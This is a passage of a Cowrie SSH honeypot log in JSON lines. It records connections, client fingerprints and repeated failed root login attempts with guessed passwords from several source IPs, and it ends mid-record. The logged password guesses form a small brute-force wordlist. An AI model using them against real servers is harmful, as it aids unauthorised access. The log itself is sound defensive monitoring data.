{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:24:40.237313Z","src_ip":"202.53.94.246","session":"251e0b06d887","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"leo","message":"login attempt [root/leo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:24:41.130822Z","src_ip":"202.53.94.246","session":"251e0b06d887","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:24:42.348847Z","src_ip":"202.53.94.246","session":"251e0b06d887","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wawa","message":"login attempt [root/wawa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:24:44.929760Z","src_ip":"213.209.159.158","session":"74ee60b50833","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.8","message":"Connection lost after 9.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:24:47.248933Z","src_ip":"213.209.159.158","session":"74ee60b50833","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":35616,"dst_ip":"159.203.135.109","dst_port":22,"session":"e9702b4aca56","protocol":"ssh","message":"New connection: 213.209.159.158:35616 (159.203.135.109:22) [session: e9702b4aca56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:24:47.329263Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.12.80.170","src_port":43734,"dst_ip":"10.17.0.5","dst_port":22,"session":"045f5c3e4e5c","protocol":"ssh","message":"New connection: 198.12.80.170:43734 (10.17.0.5:22) [session: 045f5c3e4e5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:24:47.540936Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:24:47.546497Z","src_ip":"198.12.80.170","session":"045f5c3e4e5c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:24:47.561904Z","src_ip":"198.12.80.170","session":"045f5c3e4e5c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"reporting","password":"reporting","message":"login attempt [reporting/reporting] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:24:47.689790Z","src_ip":"198.12.80.170","session":"045f5c3e4e5c","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:24:48.523807Z","src_ip":"213.209.159.158","session":"e9702b4aca56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:24:48.527857Z","src_ip":"213.209.159.158","session":"e9702b4aca56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:24:48.718991Z","src_ip":"198.12.80.170","session":"045f5c3e4e5c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"WordPass&2021","message":"login attempt [root/WordPass&2021] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:24:54.629174Z","src_ip":"213.209.159.158","session":"e9702b4aca56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.7","message":"Connection lost after 9.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:24:57.034746Z","src_ip":"213.209.159.158","session":"e9702b4aca56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":1182,"dst_ip":"159.203.135.109","dst_port":22,"session":"f7c09cc4fc6f","protocol":"ssh","message":"New connection: 213.209.159.158:1182 (159.203.135.109:22) [session: f7c09cc4fc6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:24:57.116454Z"}
{"eventid":"cowrie.session.connect","src_ip":"102.210.148.92","src_port":39208,"dst_ip":"159.203.135.109","dst_port":22,"session":"64529f66ec29","protocol":"ssh","message":"New connection: 102.210.148.92:39208 (159.203.135.109:22) [session: 64529f66ec29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:24:57.859332Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:24:57.865444Z","src_ip":"102.210.148.92","session":"64529f66ec29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:24:58.107107Z","src_ip":"102.210.148.92","session":"64529f66ec29","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:24:58.640435Z","src_ip":"213.209.159.158","session":"f7c09cc4fc6f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:24:58.648577Z","src_ip":"213.209.159.158","session":"f7c09cc4fc6f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"huahua123","message":"login attempt [root/huahua123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:24:59.102072Z","src_ip":"102.210.148.92","session":"64529f66ec29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:25:00.346178Z","src_ip":"102.210.148.92","session":"64529f66ec29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.223.60.209","src_port":35128,"dst_ip":"10.17.0.5","dst_port":22,"session":"f24ac8fe4a43","protocol":"ssh","message":"New connection: 190.223.60.209:35128 (10.17.0.5:22) [session: f24ac8fe4a43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:25:00.881550Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:25:00.886515Z","src_ip":"190.223.60.209","session":"f24ac8fe4a43","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:25:01.012669Z","src_ip":"190.223.60.209","session":"f24ac8fe4a43","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bilal123","message":"login attempt [root/bilal123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:25:01.552580Z","src_ip":"190.223.60.209","session":"f24ac8fe4a43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:25:02.682916Z","src_ip":"190.223.60.209","session":"f24ac8fe4a43","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wangxiao","message":"login attempt [root/wangxiao] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:25:04.427560Z","src_ip":"213.209.159.158","session":"f7c09cc4fc6f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.154.241.42","src_port":43276,"dst_ip":"159.203.135.109","dst_port":22,"session":"564db3a23978","protocol":"ssh","message":"New connection: 103.154.241.42:43276 (159.203.135.109:22) [session: 564db3a23978]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:25:05.964816Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:25:05.971572Z","src_ip":"103.154.241.42","session":"564db3a23978","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:25:06.222850Z","src_ip":"103.154.241.42","session":"564db3a23978","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.9","message":"Connection lost after 9.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:25:07.052695Z","src_ip":"213.209.159.158","session":"f7c09cc4fc6f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":50220,"dst_ip":"159.203.135.109","dst_port":22,"session":"f87789f3c7e5","protocol":"ssh","message":"New connection: 213.209.159.158:50220 (159.203.135.109:22) [session: f87789f3c7e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:25:07.131362Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Love1314","message":"login attempt [root/Love1314] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:25:07.245749Z","src_ip":"103.154.241.42","session":"564db3a23978","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:25:08.442471Z","src_ip":"213.209.159.158","session":"f87789f3c7e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:25:08.446721Z","src_ip":"213.209.159.158","session":"f87789f3c7e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:25:08.503044Z","src_ip":"103.154.241.42","session":"564db3a23978","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wawawa","message":"login attempt [root/wawawa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:25:14.284491Z","src_ip":"213.209.159.158","session":"f87789f3c7e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.6","message":"Connection lost after 9.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:25:16.744829Z","src_ip":"213.209.159.158","session":"f87789f3c7e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":34188,"dst_ip":"159.203.135.109","dst_port":22,"session":"e0d582748480","protocol":"ssh","message":"New connection: 213.209.159.158:34188 (159.203.135.109:22) [session: e0d582748480]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:25:16.831927Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:25:18.055106Z","src_ip":"213.209.159.158","session":"e0d582748480","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-